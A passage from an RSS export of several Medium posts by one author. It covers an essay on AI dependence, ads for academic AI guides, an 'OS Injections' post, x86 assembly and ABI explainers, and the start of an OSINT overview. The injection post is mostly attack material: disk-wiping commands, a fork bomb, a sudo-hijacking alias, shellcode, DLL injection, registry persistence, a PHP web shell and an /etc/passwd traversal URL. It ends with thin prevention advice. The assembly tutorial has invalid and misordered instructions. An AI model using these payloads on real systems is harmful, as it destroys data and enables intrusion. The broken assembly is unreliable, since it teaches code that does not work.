and procurement rules favour a few suppliers; governments worry more about losing access than about regulating.</p><p>• <strong>Legally:</strong> liability shields for automated decisions; take-it-or-leave-it contracts replacing negotiated rights; trade secrecy colliding with the right to an explanation; identity and data requirements as a condition of service.</p><p>• <strong>Economically:</strong> cash and offline payment fade; labour’s share of income shrinks; access to essential services shifts to subscriptions and scores.</p><p>• <strong>In education:</strong> curricula organised around the dominant tools, credentials defined by what the platforms recognise, and less practice in independent judgment.</p><p>• <strong>Socially:</strong> trust moves from people and institutions to systems, local communities weaken, and outcomes become nobody’s fault.</p><p>• <strong>Technologically:</strong> lock-in instead of interoperability, centralised identity and data layers, fewer independent fallbacks, and reliability treated as a vendor’s promise rather than a public duty.</p><p>None of this is exotic. Each item is already visible somewhere. And people accept it for ordinary reasons: the early benefits are real, the alternative keeps getting more expensive, crises lower our tolerance for friction, each year’s normal is only slightly worse than the last, and opting out alone is nearly impossible.</p><p>What interrupts the pattern is visible cost, such as electricity bills, outages and wrongful denials; political entrepreneurs who turn those costs into issues; institutions with the power to act; and viable alternatives such as public infrastructure, open systems and cash. The American election this month and the EU’s December 2027 rules are early examples of friction being applied. Whether it is enough is the open question.</p><h3>Three futures for 2035</h3><p>These are not predictions. They are three places the current arrows could lead.</p><p><strong>A hybrid world.</strong> States keep their core powers while a few technology firms become indispensable partners and rivals at once. Daily life: mostly better services, punctuated by shocks, and an unresolved tug-of-war over who is responsible. Signals: public contracts with real exit clauses, frequent but contained outages, regulators who compete with each other.</p><p><strong>A regulated world.</strong> Financial stress, outages and public backlash push governments to build public infrastructure, enforce interoperability and audits, and rein in concentration. Daily life: slower, costlier and safer, with stronger rights to appeal. Signals: public computing capacity, serious antitrust, genuine enforcement of the EU’s 2027 rules and imitations of them elsewhere.</p><p><strong>A world of concentrated power.</strong> Infrastructure, capital, data and models sit with a very few. Weaker countries rent their digital lives. Access to credit, work and care depends on scores and platforms you cannot inspect. Daily life: convenient until it is not, and hard to challenge. Signals: governments unable to switch providers, appeals handled by chatbots, one or two technology stacks per bloc.</p><p>Different countries may land in different futures, and a single country may live in all three at once, depending on the sector. The dividing line may turn out to be less about geography than about access.</p><p><strong>Would the world become more divided by geography, or by access to technology, information, money and power?</strong></p><h3>14. How Can Humanity Prepare for What Comes Next?</h3><p>Preparation is not a bunker. It is the habit of not having a single point of failure in your own life, and of not being the only one holding the line. A useful tool is the same three questions from section 6. Before you rely on a system for something important, ask whether it can act without you, whether you can question it, and whether you can leave it.</p><p>• <strong>Have more than one way to pay and reach your money.</strong> Cards from different banks, some cash at home, and a plan for a day when the apps are down. (This is general resilience advice, not financial advice.)</p><p>• <strong>Keep essentials offline.</strong> Copies of key documents, medical information and phone numbers on paper or an offline device, plus a few days of food, water and medicine. This is standard emergency advice, and it covers outbreaks and power cuts as well.</p><p>• <strong>Build judgment that does not depend on the tool.</strong> Learn to use AI, but try the problem yourself first, then check the answer, then ask the tool. In the Turkish study, tutor-style use protected learning. At work, combine AI fluency with real expertise and the human skills that are hardest to automate. Be the person who can tell when the machine is wrong.</p><p>• <strong>Protect your sense of what is real.</strong> Pause before sharing. Look for the original source. Agree a family code word to confirm unusual requests for money, because cloned voices already exist.</p><p>• <strong>Teach children to question as well as to use.</strong> How do you know? Who made this? What might be missing? Let them struggle with a problem before reaching for the chatbot.</p><p>• <strong>Keep human networks alive.</strong> Neighbours, family, local groups, professional communities. In every outage, flood and outbreak, the first help comes from people nearby.</p><p>• <strong>Look after your health and your health records.</strong> Keep your own copies, follow credible public-health sources, keep vaccinations current.</p><p>• <strong>Use your civic power.</strong> Ask for human review and a right to appeal wherever a consequential decision is automated. Support public alternatives and open standards. Pay attention to how your city, school and hospital buy technology. Back candidates and institutions that take accountability and resilience seriously, whatever their party. Unions and professional bodies can negotiate how AI is used at work.</p><p>Societies need their own version of this list: reserves of food and energy, public computing capacity, interoperable systems, tested plans for switching providers, and laws that guarantee transparency, human oversight, data rights and a real right to say no. Individual preparation is necessary but not sufficient. The strongest protection against dependence is not a better personal plan but those shared guarantees.</p><h3>15. Who Will Control the Future?</h3><p>The world beyond 2027 will probably not announce itself. There will be no morning when we wake up in a different order. There will be a payment that fails and then returns, a form that now requires a scan, a decision no one can quite explain, a harvest that costs more, a clause in a treaty still waiting to be agreed. Each will have a reasonable explanation. Each will be fixed, or absorbed.</p><p>The next time a payment system stops working, a job application is rejected by an algorithm, or a patient receives a decision they cannot challenge, I hope the question that comes to mind is bigger than the immediate problem. Who designed this system? Who benefits from it? Who can change its rules? And what alternatives remain for the people who depend on it?</p><p>None of it is inevitable. States can regulate, courts can demand explanations, public institutions can build their own capacity, engineers can design for exit, and citizens can insist on human review and refuse to treat friction as normal. But none of this happens by default. It happens when enough people notice the slope while it is still a slope.</p><p>Perhaps the greatest question about the future is not whether machines will become powerful enough to control us. It is whether we will preserve the institutions, rights and human judgment needed to stay in control of the systems we build.</p><p><strong>What if the greatest change of the coming decades is not that machines take control of humanity, but that humanity gradually builds a world in which living without those machines becomes almost impossible?</strong></p><h3>Sources</h3><p>• <strong>Outages:</strong> AP and Cybernews coverage of the October 20, 2026 Google Cloud outage; AP report of November 16, 2026 on the JPMorgan Chase disruption, the Microsoft outage and the air-traffic control failure.</p><p>• <strong>US–China truce:</strong> Federal Register notices from USTR and Commerce, as reported by Thompson Hine, Control Plane and other trade outlets in November 2026; Atlantic Council on China’s April 2025 licensing regime.</p><p>• <strong>US politics and chips:</strong> Irish Times, The Verge and AP coverage of the November 3 midterms; ABC News/AP (November 16) on the remote-access chip rule.</p><p>• <strong>Ukraine and Iran war:</strong> Reuters, Al Jazeera and PRIO on the November 10–11 Abu Dhabi talks; Reuters shipping data and CREA on Hormuz.</p><p>• <strong>Türkiye, India, Africa:</strong> Ember (June 2026) on Türkiye’s energy bill; CGIAR and CREA on India’s fertilizer and fuel exposure; World Bank <em>Africa Economic Update</em> (October 2026); World Economic Forum on critical-minerals processing.</p><p>• <strong>AI financing:</strong> BIS Quarterly Review (March 2026); J.P. Morgan; Business Standard (July 22, 2026) reporting a Nikkei Asia study on off-balance-sheet commitments.</p><p>• <strong>Energy:</strong> International Energy Agency, <em>Energy and AI</em> (2025) and follow-up analysis.</p><p>• <strong>EU AI Act:</strong> Orrick (July 2026) and Gibson Dunn (May 2026) on the Digital Omnibus, including the December 2, 2027 and August 2, 2028 dates and the December 2, 2026 labelling transition.</p><p>• <strong>AI agents:</strong> Zapier 2026 AI Agents survey; Dynatrace, <em>The Pulse of Agentic AI 2026</em> (January 22, 2026); Deloitte, <em>State of AI in the Enterprise 2026</em>; TCS Enterprise AI Study (November 4, 2026).</p><p>• <strong>Work:</strong> NPR (August 2026); MIT Technology Review (May 2026); IZA (October 2026); Vanguard (November 2026); Stanford Digital Economy Lab analysis of ADP data as reported by Fast Company; Goldman Sachs analysis as reported by IBTimes; Ramp and Revelio.</p><p>• <strong>Education:</strong> Bastani and colleagues, field experiment with Turkish high-school students on generative AI and learning.</p><p>• <strong>Global gaps:</strong> UN High-level Advisory Body on AI, <em>Governing AI for Humanity</em> (2024); UNCTAD <em>Technology and Innovation Report 2025</em>.</p><p>• <strong>Pandemic risk:</strong> ECDC avian influenza updates (November 2026); WHO (May and November 13, 2026) on the Pandemic Agreement and the PABS annex.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43d4a8e647a6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Complete AI Toolkit for Academics: Prompts, Python, and Productivity Systems That Actually Work]]></title>
            <link>https://medium.com/@derya.cortuk/the-complete-ai-toolkit-for-academics-prompts-python-and-productivity-systems-that-actually-work-32e045ae2488?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/32e045ae2488</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[artificial-intelligence]]></category>
            <category><![CDATA[academia]]></category>
            <category><![CDATA[productivity]]></category>
            <category><![CDATA[research]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Fri, 13 Mar 2026 14:23:04 GMT</pubDate>
            <atom:updated>2026-03-13T14:24:05.216Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Five comprehensive PDF guides for researchers, teachers, and students — prompts, Python, workflows, and systems that eliminate academic busywork</strong></p><p>If you work in academia — as a student, researcher, or teacher — you already know the feeling.</p><p>You have too many papers to read and not enough hours to process them. You stare at a blank page for 45 minutes before writing a single sentence. You spend Sunday afternoon manually formatting a bibliography that should take 30 seconds. You type the same types of emails to supervisors and reviewers over and over.</p><p>AI can eliminate most of this friction. But there is a problem: most people do not know how to use it for serious academic work. They ask it to “write my paper” (bad idea), get a generic result, and conclude that AI is not useful for research.</p><p>It is. You are just asking the wrong questions.</p><p>Over the past few weeks, I built five comprehensive PDF guides that address exactly this. Each one is a system, not a list of tips — built for a specific type of academic work, with ready-to-use prompts, step-by-step workflows, and honest notes on when AI fails.</p><p>Here is what each guide contains and who it is for.</p><h3>1. AI Toolkit for Science Teachers &amp; Researchers: 50 Prompts</h3><p><strong>Who it’s for:</strong> Physics, chemistry, biology, and math teachers. Anyone who designs lessons, writes exams, or explains complex concepts for a living.</p><p>The average science teacher spends 8–12 hours per week on tasks that AI can draft in minutes: lesson plans, exam questions, student feedback, parent emails, lab activities.</p><p>This guide gives you 50 prompts across five categories — lesson planning, exam generation, concept explanation, research support, and student feedback — with an example output for every single prompt so you know exactly what to expect before you use it.</p><p>The concept explanation section alone is worth the download. There are prompts for generating five different analogies for the same concept, for building Socratic questioning sequences, and for identifying the five most common misconceptions your students have about any topic before you even start teaching it.</p><p>Works with ChatGPT, Claude, and Gemini. No technical setup required.</p><p><a href="https://design17.gumroad.com/l/ai-toolkit-for-academic-researchers">https://design17.gumroad.com/l/ai-toolkit-for-academic-researchers</a></p><h3>2. Python for Researchers: 40 Ready-to-Use Code Snippets</h3><p><strong>Who it’s for:</strong> Researchers and academics who work with data but do not consider themselves programmers.</p><p>This is not a Python course. It is a reference guide for people who need to analyze data, make publication-quality charts, and automate repetitive file tasks — and want to do it without spending three weeks learning the language first.</p><p>40 complete, copy-paste-ready snippets organized into six sections: loading and cleaning data, statistical analysis (t-tests, ANOVA, regression, chi-square), data visualization (bar charts, scatter plots, histograms, heatmaps), text and literature analysis, and productivity automation.</p><p>Every snippet includes the complete code, what the output looks like, and a tip on the most common mistake for that specific snippet. There is also a bonus setup guide that gets a complete beginner from zero to running their first snippet in 10 minutes using Google Colab — no installation required.</p><p><a href="https://design17.gumroad.com/l/python-for-researchers">https://design17.gumroad.com/l/python-for-researchers</a></p><h3>3. AI Toolkit for Academic Researchers: 50 Prompts</h3><p><strong>Who it’s for:</strong> PhD students, postdocs, and faculty who write papers, navigate peer review, and manage the full research lifecycle.</p><p>This is the most comprehensive of the five guides, covering the entire journey from research question to publication.</p><p>50 prompts across five sections: finding and evaluating literature (research gap mapper, abstract speed-screener, seminal works identifier), research design and methodology (hypothesis formulation, interview protocol designer, ethics checklist), academic writing (abstract writer, argument strengthener, discussion architect), peer review and publication (journal selection advisor, reviewer response writer, desk rejection analyzer), and research productivity (supervisor meeting prep, weekly review, imposter syndrome reality check).</p><p>The reviewer response prompts alone have saved researchers hours of anxious revision. The argument stress-tester — which asks AI to attack your central argument before a reviewer does — has changed how I think about writing.</p><p><a href="https://design17.gumroad.com/l/ai-toolkit-for-academic-researchers">https://design17.gumroad.com/l/ai-toolkit-for-academic-researchers</a></p><h3>4. AI for Physicists &amp; Math Students: 30 Problem-Solving Prompts</h3><p><strong>Who it’s for:</strong> Undergraduate and graduate students in physics, mathematics, and engineering who want to use AI to learn — not to cheat.</p><p>This guide starts with something most AI guides skip entirely: the right mindset. The first section explains why “solve this problem” is the worst prompt you can write, when AI is reliable versus when it confidently gives wrong answers, and how to use the Feynman Prompt — asking AI to teach rather than answer — for the deepest possible learning.</p><p>Then it goes topic by topic: calculus (derivatives, integrals, limits, series, vector calculus), linear algebra (matrices, eigenvalues, systems of equations), classical mechanics (Lagrangian setup, conservation laws, oscillations), electromagnetism (Gauss’s Law, Maxwell’s equations, Kirchhoff’s Laws), and quantum mechanics (Schrödinger equation, operators, perturbation theory).</p><p>Every prompt is designed so that the understanding stays with you, not with the AI window you’ll close before the exam. The guide also includes the five most expensive mistakes physics and math students make — with explicit before/after examples.</p><p><a href="https://design17.gumroad.com/l/ai-for-physicists-math-students">https://design17.gumroad.com/l/ai-for-physicists-math-students</a></p><h3>5. The Productive Researcher: AI Workflow Guide</h3><p><strong>Who it’s for:</strong> Anyone in academia who wants a complete, tool-by-tool system for their research day — not just prompts, but a full workflow.</p><p>This is the most ambitious of the five guides. It covers an entire research workflow built around four tools — Notion, Zotero, Obsidian, and ChatGPT/Claude — and shows exactly how they connect.</p><p>The guide includes an hour-by-hour daily schedule designed around deep work science, a five-step literature workflow from discovery to synthesis (with AI prompts at every stage), a writing system with a five-pass revision protocol, a complete Zotero mastery section including Zotero + Obsidian integration, an Obsidian knowledge system that turns your notes into a compounding asset, a master AI prompt library for research-specific stuck moments, and weekly and monthly review systems with Notion dashboard blueprints.</p><p>All four tools have free tiers. You do not need to spend a single dollar on software to implement this system.</p><p>If you only download one guide from this list, make it this one.</p><p><a href="https://design17.gumroad.com/l/productive-researcher">https://design17.gumroad.com/l/productive-researcher</a></p><h3>A note on how these were built</h3><p>Every prompt in these guides has been tested. Every workflow reflects how researchers actually work — not how productivity influencers think they work.</p><p>None of these guides will write your papers for you. That is not the goal. The goal is to eliminate the friction between you and the work you actually want to do: the thinking, the analysis, the arguments that only you can make.</p><p>AI is exceptionally good at scaffolding. It is good at drafts you react to, explanations you build on, structures you fill in, and questions you answer. The intellectual contribution is still yours.</p><p>These guides hand you the scaffold. You build the building.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32e045ae2488" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OS Injections]]></title>
            <link>https://medium.com/@derya.cortuk/os-injections-6fa6a222b7a1?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/6fa6a222b7a1</guid>
            <category><![CDATA[os-command-injection]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Wed, 14 Feb 2024 20:06:54 GMT</pubDate>
            <atom:updated>2024-02-14T20:12:05.742Z</atom:updated>
            <content:encoded><![CDATA[<p>OS injections, also known as Operating System injections, involve exploiting vulnerabilities in an operating system to gain unauthorized access or manipulate its behavior. OS injections typically target software applications that interact with the operating system. By injecting malicious code or commands, hackers can take advantage of poor input validation or insecure coding practices to gain control over the underlying operating system.</p><p><strong>Types of OS Injections</strong></p><p>There are two main types of OS injections:</p><p><strong>OS Command injection:</strong></p><ul><li>Use a command injection vulnerability to execute a reverse shell, giving the attacker remote access to the target system.</li><li>Use a command injection vulnerability to delete or modify critical system files, rendering the system unusable.</li><li>Use a command injection vulnerability to install malware on the target system.</li></ul><p>rm -rf /: This will wipe out everything in the target system.</p><p>sudo chmod -R 777 /: Granting everyone full access to your entire system.</p><p>rm -rf ~/.ssh/*: Delete, SSH keys!</p><p>:(){ :|: &amp; };:: The infamous &quot;fork bomb&quot; that will spawn an infinite number of processes.</p><p>echo &quot;alias sudo=&#39;rm -rf /&#39;&quot; &gt;&gt; ~/.bashrc: Adding this innocent-looking alias to your bashrc file will turn every innocent sudo command into a system-wiping nightmare.</p><pre>import os<br><br># Get user input<br>command = input(&quot;Enter a command to execute: &quot;)<br><br># Execute the command<br>os.system(command)</pre><pre>import os    <br># This little snippet will wipe out your entire system.<br>os.system(&quot;rm -rf /*&quot;)</pre><pre>#include &lt;stdio.h&gt;<br>#include &lt;stdlib.h&gt;<br>#include &lt;string.h&gt;<br><br>int main() {<br>    char shellcode[] = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&quot;;<br>    void (*func)() = (void (*)())shellcode;<br>    func();<br>    return 0;<br>}</pre><pre>#include &lt;stdlib.h&gt;<br>int main() {<br>    system(&quot;format C:&quot;);<br>    return 0;<br>}</pre><pre>#include &lt;windows.h&gt;<br>#include &lt;tchar.h&gt;<br><br>int _tmain(int argc, _TCHAR* argv[]) {<br>    LPCTSTR dllPath = _T(&quot;C:\\path\\to\\your\\malicious.dll&quot;);<br>    LPVOID loadLibraryAddr = (LPVOID)GetProcAddress(GetModuleHandle(_T(&quot;kernel32.dll&quot;)), &quot;LoadLibraryA&quot;);<br>    HANDLE hThread = CreateRemoteThread(GetCurrentProcess(), NULL, 0, (LPTHREAD_START_ROUTINE)loadLibraryAddr, (LPVOID)dllPath, 0, NULL);<br>    WaitForSingleObject(hThread, INFINITE);<br>    CloseHandle(hThread);<br>    return 0;<br>}</pre><pre>#include &lt;linux/module.h&gt;<br>#include &lt;linux/kernel.h&gt;<br>#include &lt;linux/init.h&gt;<br><br>MODULE_LICENSE(&quot;GPL&quot;);<br><br>static int __init evil_init(void) {<br>    printk(KERN_INFO &quot;Evil module loaded!\n&quot;);<br>    // Your malicious code here<br>    return 0;<br>}<br><br>static void __exit evil_exit(void) {<br>    printk(KERN_INFO &quot;Evil module unloaded!\n&quot;);<br>}<br><br>module_init(evil_init);<br>module_exit(evil_exit);</pre><pre>import winreg    # Windows Registry Injection<br><br>def inject_registry_key():<br>    key_path = r&#39;Software\Microsoft\Windows\CurrentVersion\Run&#39;<br>    key_name = &#39;EvilApp&#39;<br>    evil_payload = r&#39;C:\path\to\your\malicious\executable.exe&#39;<br><br>    try:<br>        key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, key_path, 0, winreg.KEY_ALL_ACCESS)<br>        winreg.SetValueEx(key, key_name, 0, winreg.REG_SZ, evil_payload)<br>        winreg.CloseKey(key)<br>        print(&#39;Registry key injected successfully!&#39;)<br>    except Exception as e:<br>        print(f&#39;Injection failed: {e}&#39;)<br><br>inject_registry_key()</pre><pre>&lt;?php<br>$command = $_GET[&#39;command&#39;];<br>system($command);<br>?&gt;</pre><p><strong>Path injection:</strong></p><ul><li>Use a path injection vulnerability to execute a malicious program that steals sensitive data from the target system.</li><li>Use a path injection vulnerability to execute a malicious program that encrypts the target system’s files, demanding a ransom payment to decrypt them.</li><li>Use a path injection vulnerability to execute a malicious program that creates a backdoor on the target system, allowing the attacker to access the system remotely.</li></ul><pre>import os<br><br># Get the current working directory<br>cwd = os.getcwd()<br><br># Set the PATH environment variable<br>os.environ[&quot;PATH&quot;] = cwd + &quot;:&quot; + os.environ[&quot;PATH&quot;]<br><br># Execute a program<br>os.system(&quot;program&quot;)</pre><pre>$filePath = $_GET[&#39;file&#39;];<br>readfile($filePath);<br><br># http://example.com/download.php?file=/etc/passwd</pre><p><strong>How OS Injections Work</strong></p><p>OS injections typically work by exploiting vulnerabilities in programs that accept user input. For example, a command injection vulnerability might exist in a program that allows users to enter commands to be executed. If an attacker can exploit this vulnerability, they could execute arbitrary commands on the target system.</p><p>Similarly, a path injection vulnerability might exist in a program that uses environment variables or configuration files to determine its search path. If an attacker can exploit this vulnerability, they could modify the search path to cause the program to execute a malicious program instead of the intended one.</p><p><strong>Preventing OS Injections</strong></p><p>Several steps can be taken to prevent OS injections, including:</p><ul><li><strong>Input validation:</strong> All user input should be validated to ensure that it is safe. This can be done by using input validation libraries or by manually checking the input for malicious characters.</li><li><strong>Use of safe programming languages:</strong> Some programming languages are more susceptible to OS injections than others. For example, C and C++ are more susceptible to OS injections than Java and Python.</li><li><strong>Use of secure coding practices:</strong> Secure coding practices can help to prevent OS injections. For example, programmers should avoid using hard-coded passwords and should use strong encryption to protect sensitive data.</li><li><strong>Regular security updates:</strong> Operating systems and software should be regularly updated to patch security vulnerabilities.</li></ul><p>To protect against OS injections, it is crucial to implement secure coding practices, perform input validation and sanitization, and regularly update and patch both the operating system and the applications running on it. Additionally, employing security measures such as WAFs (Web Application Firewalls) can help detect and mitigate OS injection attempts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6fa6a222b7a1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Function Prologue and Epilogue]]></title>
            <link>https://medium.com/@derya.cortuk/function-prologue-and-epilogue-b999f9637f77?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/b999f9637f77</guid>
            <category><![CDATA[x86-assembly]]></category>
            <category><![CDATA[stack]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Wed, 07 Feb 2024 14:46:20 GMT</pubDate>
            <atom:updated>2024-02-07T14:46:20.183Z</atom:updated>
            <content:encoded><![CDATA[<p>Function prologue and epilogue represent specific operations performed at the beginning and end of a function, respectively. These operations are necessary to ensure the proper functioning of the function.</p><h4>Function Prologue</h4><p>The function prologue is a set of instructions that are executed at the beginning of a function. Its main purpose is to set up the function’s environment before its main body of code executes. Here’s a detailed explanation of each step typically found in a function prologue, along with an example in x86 (32-bit) assembly language:</p><p><strong>Save the Previous Frame Pointer (EBP):</strong> The first step in the function prologue is to save the value of the previous frame pointer (EBP). This is important because it allows the function to access the calling function’s stack frame later. This is typically done by pushing the value of EBP onto the stack.</p><pre>push ebp       ; Save the previous frame pointer</pre><p><strong>Set up the New Frame Pointer (EBP):</strong> After saving the previous EBP, the next step is to set up the new frame pointer (EBP) to point to the current stack frame. This is typically done by moving the value of the stack pointer (ESP) into the base pointer (EBP) register.</p><pre>mov ebp, esp   ; Set up the new frame pointer</pre><p><strong>Allocate Space for Local Variables: </strong>Once the frame pointer is set up, the function needs to allocate space on the stack for its local variables. This is done by subtracting the total size of local variables from the stack pointer.</p><pre>sub esp, 16    ; Allocate space for 16 bytes of local variables</pre><p><strong>Additional Initialization:</strong> Depending on the specific requirements of the function, there may be additional initialization steps in the prologue. This could include setting up parameter access or initializing specific registers.</p><pre>mov dword [ebp-4], [esp+4]   ; Store the first function argument on the stack</pre><p>Once these steps are completed, the function prologue has prepared the function’s environment, including setting up the stack frame, saving the previous frame pointer, and allocating space for local variables. The function’s main body of code can then execute with access to its parameters and local variables.</p><p><strong>Function prologue in x86 assembly language:</strong></p><pre>new_function:<br>    push ebp               ; Save the previous frame pointer<br>    mov ebp, esp           ; Set up the new frame pointer<br>    sub esp, 16            ; Allocate space for 16 bytes of local variables<br>    mov dword [ebp-4], [esp+4]   ; Store the first function argument on the stack<br>    </pre><p>This example assumes that the function new_function has one parameter, and it allocates space for 16 bytes of local variables. The function prologue sets up the stack frame and initializes parameter access before executing the main body of the function.</p><h4>Function Epilogue</h4><p>The function epilogue, also known as the function exit sequence, is a set of instructions that are executed at the end of a function. Its main purpose is to clean up the function’s environment and prepare for its return to the calling function. Here’s a detailed explanation of each step typically found in a function epilogue, along with examples in x86 (32-bit) assembly language:</p><p><strong>Restore the Stack Pointer (ESP):</strong> The first step in the function epilogue is to restore the stack pointer (ESP) to its original value before the function is called. This is typically done by moving the value of the base pointer (EBP) into the stack pointer.</p><pre>mov esp, ebp   ; Restore the stack pointer</pre><p><strong>Restore the Previous Frame Pointer (EBP):</strong> After restoring the stack pointer, the next step is to restore the previous frame pointer (EBP). This is typically done by popping the value from the stack back into the EBP register.</p><pre>pop ebp        ; Restore the previous frame pointer</pre><p><strong>Clean up the Stack: </strong>Once the frame pointer is restored, any space allocated for local variables on the stack needs to be cleaned up. This is typically done by adding the total size of local variables back to the stack pointer.</p><pre>add esp, 16    ; Clean up space allocated for 16 bytes of local variables</pre><p><strong>Additional Cleanup or Operations:</strong> Depending on the specific requirements of the function, there may be additional cleanup steps or other operations in the epilogue. This could include restoring registers, handling return values, or performing other cleanup tasks.</p><pre>mov eax, 0     ; Set return value to 0</pre><p>Once these steps are completed, the function epilogue has cleaned up the function’s environment and prepared for its return to the calling function. The function’s return value (if any) is typically stored in the appropriate register, such as EAX for integer return values.</p><pre>    mov esp, ebp   ; Restore the stack pointer<br>    pop ebp        ; Restore the previous frame pointer<br>    add esp, 16    ; Clean up space allocated for 16 bytes of local variables<br>    mov eax, 0     ; Set return value to 0<br>    ret            ; Return from the function</pre><p>This example assumes that the function has allocated space for 16 bytes of local variables and returns an integer value of 0. The function epilogue restores the stack and frame pointers, cleans up the stack, sets the return value, and returns from the function.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b999f9637f77" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Application Binary Interface]]></title>
            <link>https://medium.com/@derya.cortuk/application-binary-interface-92c52d46bbf6?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/92c52d46bbf6</guid>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Wed, 07 Feb 2024 14:20:20 GMT</pubDate>
            <atom:updated>2024-02-07T14:20:20.646Z</atom:updated>
            <content:encoded><![CDATA[<p>Application Binary Interface (ABI) is a standard that defines the interface between compiled applications and the operating system on a computer platform. This standard specifies how compiled code is generated, how data structures and functions are organized, how memory management is done, and how system calls are made.</p><p><strong>Data Structures and Sizes: </strong>ABI determines which data types will be used, their sizes, and endianness. For example, the usage and representation of data types such as integers, floating-point numbers, pointers, structures, and arrays are determined by ABI.</p><p><strong>Function Call Rules:</strong> ABI specifies how function calls are made, how parameters are passed, how return values are obtained, and how the post-call state is cleaned up. For example, parameters are typically passed in processor registers or on the stack, and optimizations such as fastcall may be applied in some cases.</p><p><strong>Register Usage:</strong> ABI determines which processor registers will be used for which purposes. For example, certain registers may be allocated for function parameters or temporary variables.</p><p><strong>Stack Structure and Usage:</strong> ABI determines the usage of the stack and the organization of data structures on the stack. Situations such as function calls, storage of local variables, and system calls are handled on the stack.</p><p><strong>System Calls and Interfaces:</strong> ABI specifies the structure and interface of system calls necessary for interaction with the operating system or other system components. For example, functions such as file operations, network access, and memory management are called and parameters are passed as determined by ABI.</p><p><strong>Symbolic Information and File Formats:</strong> ABI includes elements such as the configuration of compiled code, usage of libraries, file formats, and symbol tables. Particularly, issues such as dynamically linked libraries and runtime linking are defined by ABI.</p><p><strong>Memory Management:</strong> ABI defines the standards required for memory management. This includes topics such as how memory blocks are allocated, how they are deallocated, and how memory segments are managed. ABI also establishes rules for using standard library functions for memory allocation and deallocation.</p><p><strong>Error Handling and Error Conditions:</strong> ABI defines how error conditions are communicated and handled between the operating system and programs. This includes how error codes are returned, how exceptions are handled, and how error conditions are reported.</p><p><strong>Thread Support and Synchronization:</strong> If an operating system supports multiple threads, ABI typically establishes standards for data sharing and synchronization between threads. This includes how critical sections are protected, how synchronization objects are used, and other measures required for thread safety.</p><p><strong>Platform Independence:</strong> An ABI can be specific to a certain platform (e.g., x86, ARM, MIPS), but in some cases, it can be platform-independent. A platform-independent ABI can be used to ensure software portability between different operating systems or hardware architectures.</p><p><strong>Compatibility with Developer Tools and Compilers: </strong>ABI is important for ensuring compatibility with developer tools (compilers, debuggers, profilers, etc.) and other software development tools. In particular, proper implementation of ABI standards by compilers and other tools enhances software compatibility and portability.</p><p><strong>Floating Point Format:</strong> ABI establishes standards for the representation of floating-point numbers and the use of processor-specific floating-point formats. This is important for combining floating-point operations and ensuring compatibility.</p><p><strong>C++ ABI:</strong> Additional criteria are established for supporting specific features and object-oriented programming in the C++ language. Especially, topics such as how virtual functions will be placed, how multiple inheritance will be supported, and the management of pointer-based objects are defined by the C++ ABI.</p><p><strong>Storage and File Formats: </strong>ABI establishes criteria for how compiled programs will be stored and how file formats will be created. Especially, topics such as object-oriented file formats, creation of relocatable files, and configuration of shared libraries are covered.</p><p><strong>Software Update and Compatibility: </strong>ABI addresses software update and backward compatibility issues. This is important for updating existing applications, ensuring compatibility with modified or new ABIs, and meeting backward compatibility requirements.</p><p>ABI plays a critical role in ensuring the compatibility of applications and the operating system, as well as compatibility between programs written in different languages and different compilers.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=92c52d46bbf6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Open Source Intelligence]]></title>
            <link>https://medium.com/@derya.cortuk/open-source-intelligence-03156d3abe19?source=rss-9f6799151dea------2</link>
            <guid isPermaLink="false">https://medium.com/p/03156d3abe19</guid>
            <category><![CDATA[open-source-intelligence]]></category>
            <category><![CDATA[osint-tool]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[shodan]]></category>
            <category><![CDATA[osint-investigation]]></category>
            <dc:creator><![CDATA[Derya Cortuk]]></dc:creator>
            <pubDate>Thu, 01 Feb 2024 23:14:53 GMT</pubDate>
            <atom:updated>2024-02-07T08:12:02.606Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*Fiw26_66VxtlmEnbYQbOyQ.png" /></figure><p>Open Source Intelligence (OSINT) is the practice of collecting and analyzing information from publicly available sources to obtain intelligence. OSINT utilizes information freely accessible on the internet and other open sources to generate insights, understand threats, and support decision-making processes. This comprehensive overview will delve into various concepts related to OSINT.</p><p>Open Source Intelligence involves the systematic collection, analysis, and interpretation of information from publicly accessible sources. These sources include but are not limited to, the internet, social media, news articles, government publications, and academic research. OSINT aims to gather valuable intelligence without breaching ethical or legal boundaries.</p><p><strong>OSINT Lifecycle:</strong></p><ul><li>Planning: Define objectives, scope, and target sources.</li><li>Collection: Gather information from diverse open sources.</li><li>Processing: Organize and structure collected data for analysis.</li><li>Analysis: Examine information to derive meaningful insights.</li><li>Dissemination: Share intelligence findings in a clear and actionable manner.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*sMzGGDw50a1Lu82626AgyQ.png" 